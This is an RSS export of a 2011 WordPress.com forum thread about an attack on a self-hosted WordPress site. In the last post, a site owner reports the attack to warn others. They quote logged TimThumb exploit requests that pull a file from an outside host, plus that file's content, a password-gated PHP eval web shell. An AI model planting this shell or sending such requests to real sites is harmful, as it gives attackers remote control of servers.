WordPress.com Forums » Topic: New Hack Attempt on Self Hosted Wordpress Site!! http://en.forums.wordpress.com/topic/new-hack-attempt-on-self-hosted-wordpress-site WordPress.com Forums » Topic: New Hack Attempt on Self Hosted Wordpress Site!! en Thu, 23 May 2013 01:29:15 +0000 http://bbpress.org/?v=1.1-alpha-2539 macmanx on "New Hack Attempt on Self Hosted WordPress Site!!" http://en.forums.wordpress.com/topic/new-hack-attempt-on-self-hosted-wordpress-site#post-680140 Thu, 25 Aug 2011 05:51:34 +0000 macmanx 680140@http://en.forums.wordpress.com/ This is a well-known vulnerability in the Timthumb script, not WordPress.

See this for more details: http://ma.tt/2011/08/the-timthumb-saga/

]]> timethief on "New Hack Attempt on Self Hosted WordPress Site!!" http://en.forums.wordpress.com/topic/new-hack-attempt-on-self-hosted-wordpress-site#post-679606 Wed, 24 Aug 2011 18:33:21 +0000 timethief 679606@http://en.forums.wordpress.com/ You are posting to the wrong support forum. We cannot help you here at WordPress.COM as we run on different software. please post to the correct forum forum your software. It's where the support bot points to http://wordpress.ORG/support/

]]> supportbot on "New Hack Attempt on Self Hosted WordPress Site!!" http://en.forums.wordpress.com/topic/new-hack-attempt-on-self-hosted-wordpress-site#post-679604 Wed, 24 Aug 2011 18:28:04 +0000 supportbot 679604@http://en.forums.wordpress.com/ The blog you specified at pinchii.com does not appear to be hosted at WordPress.com.

This support forum is for blogs hosted at WordPress.com. If your question is about a self-hosted WordPress blog then you'll find help at the WordPress.org forums.

If you don't understand the difference between WordPress.com and WordPress.org, you may find this information helpful.

If you forgot to include a link to your blog, you can reply and include it below. It'll help people to answer your question.

This is an automated message.

]]> pinchii on "New Hack Attempt on Self Hosted WordPress Site!!" http://en.forums.wordpress.com/topic/new-hack-attempt-on-self-hosted-wordpress-site#post-679603 Wed, 24 Aug 2011 18:28:03 +0000 pinchii 679603@http://en.forums.wordpress.com/ Got this in my "hack prevention" scripts that I have running on the site

Remote Address:[removed]
Remote Port:47762
Request Method:GET
Referer:
Query String:
Request URI:/home/wp-content/themes/mystique/thumb.php?src=http://blogger.com.bloggera.net/images.php
User Agent:Opera/9.80 (Windows NT 6.1; U; en) Presto/2.6.30 Version/10.62

And also

Remote Address:[removed]
Remote Port:47764
Request Method:GET
Referer:
Query String:
Request URI:/home/wp-content/themes/mystique/timthumb.php?src=http://blogger.com.bloggera.net/images.php
User Agent:Opera/9.80 (Windows NT 6.1; U; en) Presto/2.6.30 Version/10.62

The content of the File "images.php" is

::::BINARY CODE PAYLOAD::::
<?php
if(md5($_POST["key"]) == "f732d47960be7e806861987f98a9574c"){
$cmd = $_POST["code"];
eval (stripslashes($cmd));
}
?>

Looks like they are trying to gain CMD on my Apache server

If you guys are getting the same, I suggest you block PHP files in your wp-content folder

]]>